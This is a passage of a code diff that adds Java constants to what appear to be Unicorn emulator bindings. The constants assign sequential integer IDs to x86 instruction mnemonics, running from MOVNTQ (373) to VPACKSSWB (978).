int UC_X86_INS_MOVNTQ = 373; + public static final int UC_X86_INS_MOVQ2DQ = 374; + public static final int UC_X86_INS_MOVQ = 375; + public static final int UC_X86_INS_PABSB = 376; + public static final int UC_X86_INS_PABSD = 377; + public static final int UC_X86_INS_PABSW = 378; + public static final int UC_X86_INS_PACKSSDW = 379; + public static final int UC_X86_INS_PACKSSWB = 380; + public static final int UC_X86_INS_PACKUSWB = 381; + public static final int UC_X86_INS_PADDB = 382; + public static final int UC_X86_INS_PADDD = 383; + public static final int UC_X86_INS_PADDQ = 384; + public static final int UC_X86_INS_PADDSB = 385; + public static final int UC_X86_INS_PADDSW = 386; + public static final int UC_X86_INS_PADDUSB = 387; + public static final int UC_X86_INS_PADDUSW = 388; + public static final int UC_X86_INS_PADDW = 389; + public static final int UC_X86_INS_PALIGNR = 390; + public static final int UC_X86_INS_PANDN = 391; + public static final int UC_X86_INS_PAND = 392; + public static final int UC_X86_INS_PAVGB = 393; + public static final int UC_X86_INS_PAVGW = 394; + public static final int UC_X86_INS_PCMPEQB = 395; + public static final int UC_X86_INS_PCMPEQD = 396; + public static final int UC_X86_INS_PCMPEQW = 397; + public static final int UC_X86_INS_PCMPGTB = 398; + public static final int UC_X86_INS_PCMPGTD = 399; + public static final int UC_X86_INS_PCMPGTW = 400; + public static final int UC_X86_INS_PEXTRW = 401; + public static final int UC_X86_INS_PHADDSW = 402; + public static final int UC_X86_INS_PHADDW = 403; + public static final int UC_X86_INS_PHADDD = 404; + public static final int UC_X86_INS_PHSUBD = 405; + public static final int UC_X86_INS_PHSUBSW = 406; + public static final int UC_X86_INS_PHSUBW = 407; + public static final int UC_X86_INS_PINSRW = 408; + public static final int UC_X86_INS_PMADDUBSW = 409; + public static final int UC_X86_INS_PMADDWD = 410; + public static final int UC_X86_INS_PMAXSW = 411; + public static final int UC_X86_INS_PMAXUB = 412; + public static final int UC_X86_INS_PMINSW = 413; + public static final int UC_X86_INS_PMINUB = 414; + public static final int UC_X86_INS_PMOVMSKB = 415; + public static final int UC_X86_INS_PMULHRSW = 416; + public static final int UC_X86_INS_PMULHUW = 417; + public static final int UC_X86_INS_PMULHW = 418; + public static final int UC_X86_INS_PMULLW = 419; + public static final int UC_X86_INS_PMULUDQ = 420; + public static final int UC_X86_INS_POR = 421; + public static final int UC_X86_INS_PSADBW = 422; + public static final int UC_X86_INS_PSHUFB = 423; + public static final int UC_X86_INS_PSHUFW = 424; + public static final int UC_X86_INS_PSIGNB = 425; + public static final int UC_X86_INS_PSIGND = 426; + public static final int UC_X86_INS_PSIGNW = 427; + public static final int UC_X86_INS_PSLLD = 428; + public static final int UC_X86_INS_PSLLQ = 429; + public static final int UC_X86_INS_PSLLW = 430; + public static final int UC_X86_INS_PSRAD = 431; + public static final int UC_X86_INS_PSRAW = 432; + public static final int UC_X86_INS_PSRLD = 433; + public static final int UC_X86_INS_PSRLQ = 434; + public static final int UC_X86_INS_PSRLW = 435; + public static final int UC_X86_INS_PSUBB = 436; + public static final int UC_X86_INS_PSUBD = 437; + public static final int UC_X86_INS_PSUBQ = 438; + public static final int UC_X86_INS_PSUBSB = 439; + public static final int UC_X86_INS_PSUBSW = 440; + public static final int UC_X86_INS_PSUBUSB = 441; + public static final int UC_X86_INS_PSUBUSW = 442; + public static final int UC_X86_INS_PSUBW = 443; + public static final int UC_X86_INS_PUNPCKHBW = 444; + public static final int UC_X86_INS_PUNPCKHDQ = 445; + public static final int UC_X86_INS_PUNPCKHWD = 446; + public static final int UC_X86_INS_PUNPCKLBW = 447; + public static final int UC_X86_INS_PUNPCKLDQ = 448; + public static final int UC_X86_INS_PUNPCKLWD = 449; + public static final int UC_X86_INS_PXOR = 450; + public static final int UC_X86_INS_MONITOR = 451; + public static final int UC_X86_INS_MONTMUL = 452; + public static final int UC_X86_INS_MOV = 453; + public static final int UC_X86_INS_MOVABS = 454; + public static final int UC_X86_INS_MOVBE = 455; + public static final int UC_X86_INS_MOVDDUP = 456; + public static final int UC_X86_INS_MOVDQA = 457; + public static final int UC_X86_INS_MOVDQU = 458; + public static final int UC_X86_INS_MOVHLPS = 459; + public static final int UC_X86_INS_MOVHPD = 460; + public static final int UC_X86_INS_MOVHPS = 461; + public static final int UC_X86_INS_MOVLHPS = 462; + public static final int UC_X86_INS_MOVLPD = 463; + public static final int UC_X86_INS_MOVLPS = 464; + public static final int UC_X86_INS_MOVMSKPD = 465; + public static final int UC_X86_INS_MOVMSKPS = 466; + public static final int UC_X86_INS_MOVNTDQA = 467; + public static final int UC_X86_INS_MOVNTDQ = 468; + public static final int UC_X86_INS_MOVNTI = 469; + public static final int UC_X86_INS_MOVNTPD = 470; + public static final int UC_X86_INS_MOVNTPS = 471; + public static final int UC_X86_INS_MOVNTSD = 472; + public static final int UC_X86_INS_MOVNTSS = 473; + public static final int UC_X86_INS_MOVSB = 474; + public static final int UC_X86_INS_MOVSD = 475; + public static final int UC_X86_INS_MOVSHDUP = 476; + public static final int UC_X86_INS_MOVSLDUP = 477; + public static final int UC_X86_INS_MOVSQ = 478; + public static final int UC_X86_INS_MOVSS = 479; + public static final int UC_X86_INS_MOVSW = 480; + public static final int UC_X86_INS_MOVSX = 481; + public static final int UC_X86_INS_MOVSXD = 482; + public static final int UC_X86_INS_MOVUPD = 483; + public static final int UC_X86_INS_MOVUPS = 484; + public static final int UC_X86_INS_MOVZX = 485; + public static final int UC_X86_INS_MPSADBW = 486; + public static final int UC_X86_INS_MUL = 487; + public static final int UC_X86_INS_MULPD = 488; + public static final int UC_X86_INS_MULPS = 489; + public static final int UC_X86_INS_MULSD = 490; + public static final int UC_X86_INS_MULSS = 491; + public static final int UC_X86_INS_MULX = 492; + public static final int UC_X86_INS_FMUL = 493; + public static final int UC_X86_INS_FIMUL = 494; + public static final int UC_X86_INS_FMULP = 495; + public static final int UC_X86_INS_MWAIT = 496; + public static final int UC_X86_INS_NEG = 497; + public static final int UC_X86_INS_NOP = 498; + public static final int UC_X86_INS_NOT = 499; + public static final int UC_X86_INS_OUT = 500; + public static final int UC_X86_INS_OUTSB = 501; + public static final int UC_X86_INS_OUTSD = 502; + public static final int UC_X86_INS_OUTSW = 503; + public static final int UC_X86_INS_PACKUSDW = 504; + public static final int UC_X86_INS_PAUSE = 505; + public static final int UC_X86_INS_PAVGUSB = 506; + public static final int UC_X86_INS_PBLENDVB = 507; + public static final int UC_X86_INS_PBLENDW = 508; + public static final int UC_X86_INS_PCLMULQDQ = 509; + public static final int UC_X86_INS_PCMPEQQ = 510; + public static final int UC_X86_INS_PCMPESTRI = 511; + public static final int UC_X86_INS_PCMPESTRM = 512; + public static final int UC_X86_INS_PCMPGTQ = 513; + public static final int UC_X86_INS_PCMPISTRI = 514; + public static final int UC_X86_INS_PCMPISTRM = 515; + public static final int UC_X86_INS_PCOMMIT = 516; + public static final int UC_X86_INS_PDEP = 517; + public static final int UC_X86_INS_PEXT = 518; + public static final int UC_X86_INS_PEXTRB = 519; + public static final int UC_X86_INS_PEXTRD = 520; + public static final int UC_X86_INS_PEXTRQ = 521; + public static final int UC_X86_INS_PF2ID = 522; + public static final int UC_X86_INS_PF2IW = 523; + public static final int UC_X86_INS_PFACC = 524; + public static final int UC_X86_INS_PFADD = 525; + public static final int UC_X86_INS_PFCMPEQ = 526; + public static final int UC_X86_INS_PFCMPGE = 527; + public static final int UC_X86_INS_PFCMPGT = 528; + public static final int UC_X86_INS_PFMAX = 529; + public static final int UC_X86_INS_PFMIN = 530; + public static final int UC_X86_INS_PFMUL = 531; + public static final int UC_X86_INS_PFNACC = 532; + public static final int UC_X86_INS_PFPNACC = 533; + public static final int UC_X86_INS_PFRCPIT1 = 534; + public static final int UC_X86_INS_PFRCPIT2 = 535; + public static final int UC_X86_INS_PFRCP = 536; + public static final int UC_X86_INS_PFRSQIT1 = 537; + public static final int UC_X86_INS_PFRSQRT = 538; + public static final int UC_X86_INS_PFSUBR = 539; + public static final int UC_X86_INS_PFSUB = 540; + public static final int UC_X86_INS_PHMINPOSUW = 541; + public static final int UC_X86_INS_PI2FD = 542; + public static final int UC_X86_INS_PI2FW = 543; + public static final int UC_X86_INS_PINSRB = 544; + public static final int UC_X86_INS_PINSRD = 545; + public static final int UC_X86_INS_PINSRQ = 546; + public static final int UC_X86_INS_PMAXSB = 547; + public static final int UC_X86_INS_PMAXSD = 548; + public static final int UC_X86_INS_PMAXUD = 549; + public static final int UC_X86_INS_PMAXUW = 550; + public static final int UC_X86_INS_PMINSB = 551; + public static final int UC_X86_INS_PMINSD = 552; + public static final int UC_X86_INS_PMINUD = 553; + public static final int UC_X86_INS_PMINUW = 554; + public static final int UC_X86_INS_PMOVSXBD = 555; + public static final int UC_X86_INS_PMOVSXBQ = 556; + public static final int UC_X86_INS_PMOVSXBW = 557; + public static final int UC_X86_INS_PMOVSXDQ = 558; + public static final int UC_X86_INS_PMOVSXWD = 559; + public static final int UC_X86_INS_PMOVSXWQ = 560; + public static final int UC_X86_INS_PMOVZXBD = 561; + public static final int UC_X86_INS_PMOVZXBQ = 562; + public static final int UC_X86_INS_PMOVZXBW = 563; + public static final int UC_X86_INS_PMOVZXDQ = 564; + public static final int UC_X86_INS_PMOVZXWD = 565; + public static final int UC_X86_INS_PMOVZXWQ = 566; + public static final int UC_X86_INS_PMULDQ = 567; + public static final int UC_X86_INS_PMULHRW = 568; + public static final int UC_X86_INS_PMULLD = 569; + public static final int UC_X86_INS_POP = 570; + public static final int UC_X86_INS_POPAW = 571; + public static final int UC_X86_INS_POPAL = 572; + public static final int UC_X86_INS_POPCNT = 573; + public static final int UC_X86_INS_POPF = 574; + public static final int UC_X86_INS_POPFD = 575; + public static final int UC_X86_INS_POPFQ = 576; + public static final int UC_X86_INS_PREFETCH = 577; + public static final int UC_X86_INS_PREFETCHNTA = 578; + public static final int UC_X86_INS_PREFETCHT0 = 579; + public static final int UC_X86_INS_PREFETCHT1 = 580; + public static final int UC_X86_INS_PREFETCHT2 = 581; + public static final int UC_X86_INS_PREFETCHW = 582; + public static final int UC_X86_INS_PSHUFD = 583; + public static final int UC_X86_INS_PSHUFHW = 584; + public static final int UC_X86_INS_PSHUFLW = 585; + public static final int UC_X86_INS_PSLLDQ = 586; + public static final int UC_X86_INS_PSRLDQ = 587; + public static final int UC_X86_INS_PSWAPD = 588; + public static final int UC_X86_INS_PTEST = 589; + public static final int UC_X86_INS_PUNPCKHQDQ = 590; + public static final int UC_X86_INS_PUNPCKLQDQ = 591; + public static final int UC_X86_INS_PUSH = 592; + public static final int UC_X86_INS_PUSHAW = 593; + public static final int UC_X86_INS_PUSHAL = 594; + public static final int UC_X86_INS_PUSHF = 595; + public static final int UC_X86_INS_PUSHFD = 596; + public static final int UC_X86_INS_PUSHFQ = 597; + public static final int UC_X86_INS_RCL = 598; + public static final int UC_X86_INS_RCPPS = 599; + public static final int UC_X86_INS_RCPSS = 600; + public static final int UC_X86_INS_RCR = 601; + public static final int UC_X86_INS_RDFSBASE = 602; + public static final int UC_X86_INS_RDGSBASE = 603; + public static final int UC_X86_INS_RDMSR = 604; + public static final int UC_X86_INS_RDPMC = 605; + public static final int UC_X86_INS_RDRAND = 606; + public static final int UC_X86_INS_RDSEED = 607; + public static final int UC_X86_INS_RDTSC = 608; + public static final int UC_X86_INS_RDTSCP = 609; + public static final int UC_X86_INS_ROL = 610; + public static final int UC_X86_INS_ROR = 611; + public static final int UC_X86_INS_RORX = 612; + public static final int UC_X86_INS_ROUNDPD = 613; + public static final int UC_X86_INS_ROUNDPS = 614; + public static final int UC_X86_INS_ROUNDSD = 615; + public static final int UC_X86_INS_ROUNDSS = 616; + public static final int UC_X86_INS_RSM = 617; + public static final int UC_X86_INS_RSQRTPS = 618; + public static final int UC_X86_INS_RSQRTSS = 619; + public static final int UC_X86_INS_SAHF = 620; + public static final int UC_X86_INS_SAL = 621; + public static final int UC_X86_INS_SALC = 622; + public static final int UC_X86_INS_SAR = 623; + public static final int UC_X86_INS_SARX = 624; + public static final int UC_X86_INS_SBB = 625; + public static final int UC_X86_INS_SCASB = 626; + public static final int UC_X86_INS_SCASD = 627; + public static final int UC_X86_INS_SCASQ = 628; + public static final int UC_X86_INS_SCASW = 629; + public static final int UC_X86_INS_SETAE = 630; + public static final int UC_X86_INS_SETA = 631; + public static final int UC_X86_INS_SETBE = 632; + public static final int UC_X86_INS_SETB = 633; + public static final int UC_X86_INS_SETE = 634; + public static final int UC_X86_INS_SETGE = 635; + public static final int UC_X86_INS_SETG = 636; + public static final int UC_X86_INS_SETLE = 637; + public static final int UC_X86_INS_SETL = 638; + public static final int UC_X86_INS_SETNE = 639; + public static final int UC_X86_INS_SETNO = 640; + public static final int UC_X86_INS_SETNP = 641; + public static final int UC_X86_INS_SETNS = 642; + public static final int UC_X86_INS_SETO = 643; + public static final int UC_X86_INS_SETP = 644; + public static final int UC_X86_INS_SETS = 645; + public static final int UC_X86_INS_SFENCE = 646; + public static final int UC_X86_INS_SGDT = 647; + public static final int UC_X86_INS_SHA1MSG1 = 648; + public static final int UC_X86_INS_SHA1MSG2 = 649; + public static final int UC_X86_INS_SHA1NEXTE = 650; + public static final int UC_X86_INS_SHA1RNDS4 = 651; + public static final int UC_X86_INS_SHA256MSG1 = 652; + public static final int UC_X86_INS_SHA256MSG2 = 653; + public static final int UC_X86_INS_SHA256RNDS2 = 654; + public static final int UC_X86_INS_SHL = 655; + public static final int UC_X86_INS_SHLD = 656; + public static final int UC_X86_INS_SHLX = 657; + public static final int UC_X86_INS_SHR = 658; + public static final int UC_X86_INS_SHRD = 659; + public static final int UC_X86_INS_SHRX = 660; + public static final int UC_X86_INS_SHUFPD = 661; + public static final int UC_X86_INS_SHUFPS = 662; + public static final int UC_X86_INS_SIDT = 663; + public static final int UC_X86_INS_FSIN = 664; + public static final int UC_X86_INS_SKINIT = 665; + public static final int UC_X86_INS_SLDT = 666; + public static final int UC_X86_INS_SMSW = 667; + public static final int UC_X86_INS_SQRTPD = 668; + public static final int UC_X86_INS_SQRTPS = 669; + public static final int UC_X86_INS_SQRTSD = 670; + public static final int UC_X86_INS_SQRTSS = 671; + public static final int UC_X86_INS_FSQRT = 672; + public static final int UC_X86_INS_STAC = 673; + public static final int UC_X86_INS_STC = 674; + public static final int UC_X86_INS_STD = 675; + public static final int UC_X86_INS_STGI = 676; + public static final int UC_X86_INS_STI = 677; + public static final int UC_X86_INS_STMXCSR = 678; + public static final int UC_X86_INS_STOSB = 679; + public static final int UC_X86_INS_STOSD = 680; + public static final int UC_X86_INS_STOSQ = 681; + public static final int UC_X86_INS_STOSW = 682; + public static final int UC_X86_INS_STR = 683; + public static final int UC_X86_INS_FST = 684; + public static final int UC_X86_INS_FSTP = 685; + public static final int UC_X86_INS_FSTPNCE = 686; + public static final int UC_X86_INS_FXCH = 687; + public static final int UC_X86_INS_SUBPD = 688; + public static final int UC_X86_INS_SUBPS = 689; + public static final int UC_X86_INS_FSUBR = 690; + public static final int UC_X86_INS_FISUBR = 691; + public static final int UC_X86_INS_FSUBRP = 692; + public static final int UC_X86_INS_SUBSD = 693; + public static final int UC_X86_INS_SUBSS = 694; + public static final int UC_X86_INS_FSUB = 695; + public static final int UC_X86_INS_FISUB = 696; + public static final int UC_X86_INS_FSUBP = 697; + public static final int UC_X86_INS_SWAPGS = 698; + public static final int UC_X86_INS_SYSCALL = 699; + public static final int UC_X86_INS_SYSENTER = 700; + public static final int UC_X86_INS_SYSEXIT = 701; + public static final int UC_X86_INS_SYSRET = 702; + public static final int UC_X86_INS_T1MSKC = 703; + public static final int UC_X86_INS_TEST = 704; + public static final int UC_X86_INS_UD2 = 705; + public static final int UC_X86_INS_FTST = 706; + public static final int UC_X86_INS_TZCNT = 707; + public static final int UC_X86_INS_TZMSK = 708; + public static final int UC_X86_INS_FUCOMPI = 709; + public static final int UC_X86_INS_FUCOMI = 710; + public static final int UC_X86_INS_FUCOMPP = 711; + public static final int UC_X86_INS_FUCOMP = 712; + public static final int UC_X86_INS_FUCOM = 713; + public static final int UC_X86_INS_UD2B = 714; + public static final int UC_X86_INS_UNPCKHPD = 715; + public static final int UC_X86_INS_UNPCKHPS = 716; + public static final int UC_X86_INS_UNPCKLPD = 717; + public static final int UC_X86_INS_UNPCKLPS = 718; + public static final int UC_X86_INS_VADDPD = 719; + public static final int UC_X86_INS_VADDPS = 720; + public static final int UC_X86_INS_VADDSD = 721; + public static final int UC_X86_INS_VADDSS = 722; + public static final int UC_X86_INS_VADDSUBPD = 723; + public static final int UC_X86_INS_VADDSUBPS = 724; + public static final int UC_X86_INS_VAESDECLAST = 725; + public static final int UC_X86_INS_VAESDEC = 726; + public static final int UC_X86_INS_VAESENCLAST = 727; + public static final int UC_X86_INS_VAESENC = 728; + public static final int UC_X86_INS_VAESIMC = 729; + public static final int UC_X86_INS_VAESKEYGENASSIST = 730; + public static final int UC_X86_INS_VALIGND = 731; + public static final int UC_X86_INS_VALIGNQ = 732; + public static final int UC_X86_INS_VANDNPD = 733; + public static final int UC_X86_INS_VANDNPS = 734; + public static final int UC_X86_INS_VANDPD = 735; + public static final int UC_X86_INS_VANDPS = 736; + public static final int UC_X86_INS_VBLENDMPD = 737; + public static final int UC_X86_INS_VBLENDMPS = 738; + public static final int UC_X86_INS_VBLENDPD = 739; + public static final int UC_X86_INS_VBLENDPS = 740; + public static final int UC_X86_INS_VBLENDVPD = 741; + public static final int UC_X86_INS_VBLENDVPS = 742; + public static final int UC_X86_INS_VBROADCASTF128 = 743; + public static final int UC_X86_INS_VBROADCASTI32X4 = 744; + public static final int UC_X86_INS_VBROADCASTI64X4 = 745; + public static final int UC_X86_INS_VBROADCASTSD = 746; + public static final int UC_X86_INS_VBROADCASTSS = 747; + public static final int UC_X86_INS_VCMPPD = 748; + public static final int UC_X86_INS_VCMPPS = 749; + public static final int UC_X86_INS_VCMPSD = 750; + public static final int UC_X86_INS_VCMPSS = 751; + public static final int UC_X86_INS_VCOMPRESSPD = 752; + public static final int UC_X86_INS_VCOMPRESSPS = 753; + public static final int UC_X86_INS_VCVTDQ2PD = 754; + public static final int UC_X86_INS_VCVTDQ2PS = 755; + public static final int UC_X86_INS_VCVTPD2DQX = 756; + public static final int UC_X86_INS_VCVTPD2DQ = 757; + public static final int UC_X86_INS_VCVTPD2PSX = 758; + public static final int UC_X86_INS_VCVTPD2PS = 759; + public static final int UC_X86_INS_VCVTPD2UDQ = 760; + public static final int UC_X86_INS_VCVTPH2PS = 761; + public static final int UC_X86_INS_VCVTPS2DQ = 762; + public static final int UC_X86_INS_VCVTPS2PD = 763; + public static final int UC_X86_INS_VCVTPS2PH = 764; + public static final int UC_X86_INS_VCVTPS2UDQ = 765; + public static final int UC_X86_INS_VCVTSD2SI = 766; + public static final int UC_X86_INS_VCVTSD2USI = 767; + public static final int UC_X86_INS_VCVTSS2SI = 768; + public static final int UC_X86_INS_VCVTSS2USI = 769; + public static final int UC_X86_INS_VCVTTPD2DQX = 770; + public static final int UC_X86_INS_VCVTTPD2DQ = 771; + public static final int UC_X86_INS_VCVTTPD2UDQ = 772; + public static final int UC_X86_INS_VCVTTPS2DQ = 773; + public static final int UC_X86_INS_VCVTTPS2UDQ = 774; + public static final int UC_X86_INS_VCVTUDQ2PD = 775; + public static final int UC_X86_INS_VCVTUDQ2PS = 776; + public static final int UC_X86_INS_VDIVPD = 777; + public static final int UC_X86_INS_VDIVPS = 778; + public static final int UC_X86_INS_VDIVSD = 779; + public static final int UC_X86_INS_VDIVSS = 780; + public static final int UC_X86_INS_VDPPD = 781; + public static final int UC_X86_INS_VDPPS = 782; + public static final int UC_X86_INS_VERR = 783; + public static final int UC_X86_INS_VERW = 784; + public static final int UC_X86_INS_VEXP2PD = 785; + public static final int UC_X86_INS_VEXP2PS = 786; + public static final int UC_X86_INS_VEXPANDPD = 787; + public static final int UC_X86_INS_VEXPANDPS = 788; + public static final int UC_X86_INS_VEXTRACTF128 = 789; + public static final int UC_X86_INS_VEXTRACTF32X4 = 790; + public static final int UC_X86_INS_VEXTRACTF64X4 = 791; + public static final int UC_X86_INS_VEXTRACTI128 = 792; + public static final int UC_X86_INS_VEXTRACTI32X4 = 793; + public static final int UC_X86_INS_VEXTRACTI64X4 = 794; + public static final int UC_X86_INS_VEXTRACTPS = 795; + public static final int UC_X86_INS_VFMADD132PD = 796; + public static final int UC_X86_INS_VFMADD132PS = 797; + public static final int UC_X86_INS_VFMADDPD = 798; + public static final int UC_X86_INS_VFMADD213PD = 799; + public static final int UC_X86_INS_VFMADD231PD = 800; + public static final int UC_X86_INS_VFMADDPS = 801; + public static final int UC_X86_INS_VFMADD213PS = 802; + public static final int UC_X86_INS_VFMADD231PS = 803; + public static final int UC_X86_INS_VFMADDSD = 804; + public static final int UC_X86_INS_VFMADD213SD = 805; + public static final int UC_X86_INS_VFMADD132SD = 806; + public static final int UC_X86_INS_VFMADD231SD = 807; + public static final int UC_X86_INS_VFMADDSS = 808; + public static final int UC_X86_INS_VFMADD213SS = 809; + public static final int UC_X86_INS_VFMADD132SS = 810; + public static final int UC_X86_INS_VFMADD231SS = 811; + public static final int UC_X86_INS_VFMADDSUB132PD = 812; + public static final int UC_X86_INS_VFMADDSUB132PS = 813; + public static final int UC_X86_INS_VFMADDSUBPD = 814; + public static final int UC_X86_INS_VFMADDSUB213PD = 815; + public static final int UC_X86_INS_VFMADDSUB231PD = 816; + public static final int UC_X86_INS_VFMADDSUBPS = 817; + public static final int UC_X86_INS_VFMADDSUB213PS = 818; + public static final int UC_X86_INS_VFMADDSUB231PS = 819; + public static final int UC_X86_INS_VFMSUB132PD = 820; + public static final int UC_X86_INS_VFMSUB132PS = 821; + public static final int UC_X86_INS_VFMSUBADD132PD = 822; + public static final int UC_X86_INS_VFMSUBADD132PS = 823; + public static final int UC_X86_INS_VFMSUBADDPD = 824; + public static final int UC_X86_INS_VFMSUBADD213PD = 825; + public static final int UC_X86_INS_VFMSUBADD231PD = 826; + public static final int UC_X86_INS_VFMSUBADDPS = 827; + public static final int UC_X86_INS_VFMSUBADD213PS = 828; + public static final int UC_X86_INS_VFMSUBADD231PS = 829; + public static final int UC_X86_INS_VFMSUBPD = 830; + public static final int UC_X86_INS_VFMSUB213PD = 831; + public static final int UC_X86_INS_VFMSUB231PD = 832; + public static final int UC_X86_INS_VFMSUBPS = 833; + public static final int UC_X86_INS_VFMSUB213PS = 834; + public static final int UC_X86_INS_VFMSUB231PS = 835; + public static final int UC_X86_INS_VFMSUBSD = 836; + public static final int UC_X86_INS_VFMSUB213SD = 837; + public static final int UC_X86_INS_VFMSUB132SD = 838; + public static final int UC_X86_INS_VFMSUB231SD = 839; + public static final int UC_X86_INS_VFMSUBSS = 840; + public static final int UC_X86_INS_VFMSUB213SS = 841; + public static final int UC_X86_INS_VFMSUB132SS = 842; + public static final int UC_X86_INS_VFMSUB231SS = 843; + public static final int UC_X86_INS_VFNMADD132PD = 844; + public static final int UC_X86_INS_VFNMADD132PS = 845; + public static final int UC_X86_INS_VFNMADDPD = 846; + public static final int UC_X86_INS_VFNMADD213PD = 847; + public static final int UC_X86_INS_VFNMADD231PD = 848; + public static final int UC_X86_INS_VFNMADDPS = 849; + public static final int UC_X86_INS_VFNMADD213PS = 850; + public static final int UC_X86_INS_VFNMADD231PS = 851; + public static final int UC_X86_INS_VFNMADDSD = 852; + public static final int UC_X86_INS_VFNMADD213SD = 853; + public static final int UC_X86_INS_VFNMADD132SD = 854; + public static final int UC_X86_INS_VFNMADD231SD = 855; + public static final int UC_X86_INS_VFNMADDSS = 856; + public static final int UC_X86_INS_VFNMADD213SS = 857; + public static final int UC_X86_INS_VFNMADD132SS = 858; + public static final int UC_X86_INS_VFNMADD231SS = 859; + public static final int UC_X86_INS_VFNMSUB132PD = 860; + public static final int UC_X86_INS_VFNMSUB132PS = 861; + public static final int UC_X86_INS_VFNMSUBPD = 862; + public static final int UC_X86_INS_VFNMSUB213PD = 863; + public static final int UC_X86_INS_VFNMSUB231PD = 864; + public static final int UC_X86_INS_VFNMSUBPS = 865; + public static final int UC_X86_INS_VFNMSUB213PS = 866; + public static final int UC_X86_INS_VFNMSUB231PS = 867; + public static final int UC_X86_INS_VFNMSUBSD = 868; + public static final int UC_X86_INS_VFNMSUB213SD = 869; + public static final int UC_X86_INS_VFNMSUB132SD = 870; + public static final int UC_X86_INS_VFNMSUB231SD = 871; + public static final int UC_X86_INS_VFNMSUBSS = 872; + public static final int UC_X86_INS_VFNMSUB213SS = 873; + public static final int UC_X86_INS_VFNMSUB132SS = 874; + public static final int UC_X86_INS_VFNMSUB231SS = 875; + public static final int UC_X86_INS_VFRCZPD = 876; + public static final int UC_X86_INS_VFRCZPS = 877; + public static final int UC_X86_INS_VFRCZSD = 878; + public static final int UC_X86_INS_VFRCZSS = 879; + public static final int UC_X86_INS_VORPD = 880; + public static final int UC_X86_INS_VORPS = 881; + public static final int UC_X86_INS_VXORPD = 882; + public static final int UC_X86_INS_VXORPS = 883; + public static final int UC_X86_INS_VGATHERDPD = 884; + public static final int UC_X86_INS_VGATHERDPS = 885; + public static final int UC_X86_INS_VGATHERPF0DPD = 886; + public static final int UC_X86_INS_VGATHERPF0DPS = 887; + public static final int UC_X86_INS_VGATHERPF0QPD = 888; + public static final int UC_X86_INS_VGATHERPF0QPS = 889; + public static final int UC_X86_INS_VGATHERPF1DPD = 890; + public static final int UC_X86_INS_VGATHERPF1DPS = 891; + public static final int UC_X86_INS_VGATHERPF1QPD = 892; + public static final int UC_X86_INS_VGATHERPF1QPS = 893; + public static final int UC_X86_INS_VGATHERQPD = 894; + public static final int UC_X86_INS_VGATHERQPS = 895; + public static final int UC_X86_INS_VHADDPD = 896; + public static final int UC_X86_INS_VHADDPS = 897; + public static final int UC_X86_INS_VHSUBPD = 898; + public static final int UC_X86_INS_VHSUBPS = 899; + public static final int UC_X86_INS_VINSERTF128 = 900; + public static final int UC_X86_INS_VINSERTF32X4 = 901; + public static final int UC_X86_INS_VINSERTF32X8 = 902; + public static final int UC_X86_INS_VINSERTF64X2 = 903; + public static final int UC_X86_INS_VINSERTF64X4 = 904; + public static final int UC_X86_INS_VINSERTI128 = 905; + public static final int UC_X86_INS_VINSERTI32X4 = 906; + public static final int UC_X86_INS_VINSERTI32X8 = 907; + public static final int UC_X86_INS_VINSERTI64X2 = 908; + public static final int UC_X86_INS_VINSERTI64X4 = 909; + public static final int UC_X86_INS_VINSERTPS = 910; + public static final int UC_X86_INS_VLDDQU = 911; + public static final int UC_X86_INS_VLDMXCSR = 912; + public static final int UC_X86_INS_VMASKMOVDQU = 913; + public static final int UC_X86_INS_VMASKMOVPD = 914; + public static final int UC_X86_INS_VMASKMOVPS = 915; + public static final int UC_X86_INS_VMAXPD = 916; + public static final int UC_X86_INS_VMAXPS = 917; + public static final int UC_X86_INS_VMAXSD = 918; + public static final int UC_X86_INS_VMAXSS = 919; + public static final int UC_X86_INS_VMCALL = 920; + public static final int UC_X86_INS_VMCLEAR = 921; + public static final int UC_X86_INS_VMFUNC = 922; + public static final int UC_X86_INS_VMINPD = 923; + public static final int UC_X86_INS_VMINPS = 924; + public static final int UC_X86_INS_VMINSD = 925; + public static final int UC_X86_INS_VMINSS = 926; + public static final int UC_X86_INS_VMLAUNCH = 927; + public static final int UC_X86_INS_VMLOAD = 928; + public static final int UC_X86_INS_VMMCALL = 929; + public static final int UC_X86_INS_VMOVQ = 930; + public static final int UC_X86_INS_VMOVDDUP = 931; + public static final int UC_X86_INS_VMOVD = 932; + public static final int UC_X86_INS_VMOVDQA32 = 933; + public static final int UC_X86_INS_VMOVDQA64 = 934; + public static final int UC_X86_INS_VMOVDQA = 935; + public static final int UC_X86_INS_VMOVDQU16 = 936; + public static final int UC_X86_INS_VMOVDQU32 = 937; + public static final int UC_X86_INS_VMOVDQU64 = 938; + public static final int UC_X86_INS_VMOVDQU8 = 939; + public static final int UC_X86_INS_VMOVDQU = 940; + public static final int UC_X86_INS_VMOVHLPS = 941; + public static final int UC_X86_INS_VMOVHPD = 942; + public static final int UC_X86_INS_VMOVHPS = 943; + public static final int UC_X86_INS_VMOVLHPS = 944; + public static final int UC_X86_INS_VMOVLPD = 945; + public static final int UC_X86_INS_VMOVLPS = 946; + public static final int UC_X86_INS_VMOVMSKPD = 947; + public static final int UC_X86_INS_VMOVMSKPS = 948; + public static final int UC_X86_INS_VMOVNTDQA = 949; + public static final int UC_X86_INS_VMOVNTDQ = 950; + public static final int UC_X86_INS_VMOVNTPD = 951; + public static final int UC_X86_INS_VMOVNTPS = 952; + public static final int UC_X86_INS_VMOVSD = 953; + public static final int UC_X86_INS_VMOVSHDUP = 954; + public static final int UC_X86_INS_VMOVSLDUP = 955; + public static final int UC_X86_INS_VMOVSS = 956; + public static final int UC_X86_INS_VMOVUPD = 957; + public static final int UC_X86_INS_VMOVUPS = 958; + public static final int UC_X86_INS_VMPSADBW = 959; + public static final int UC_X86_INS_VMPTRLD = 960; + public static final int UC_X86_INS_VMPTRST = 961; + public static final int UC_X86_INS_VMREAD = 962; + public static final int UC_X86_INS_VMRESUME = 963; + public static final int UC_X86_INS_VMRUN = 964; + public static final int UC_X86_INS_VMSAVE = 965; + public static final int UC_X86_INS_VMULPD = 966; + public static final int UC_X86_INS_VMULPS = 967; + public static final int UC_X86_INS_VMULSD = 968; + public static final int UC_X86_INS_VMULSS = 969; + public static final int UC_X86_INS_VMWRITE = 970; + public static final int UC_X86_INS_VMXOFF = 971; + public static final int UC_X86_INS_VMXON = 972; + public static final int UC_X86_INS_VPABSB = 973; + public static final int UC_X86_INS_VPABSD = 974; + public static final int UC_X86_INS_VPABSQ = 975; + public static final int UC_X86_INS_VPABSW = 976; + public static final int UC_X86_INS_VPACKSSDW = 977; + public static final int UC_X86_INS_VPACKSSWB = 978; + public static final int 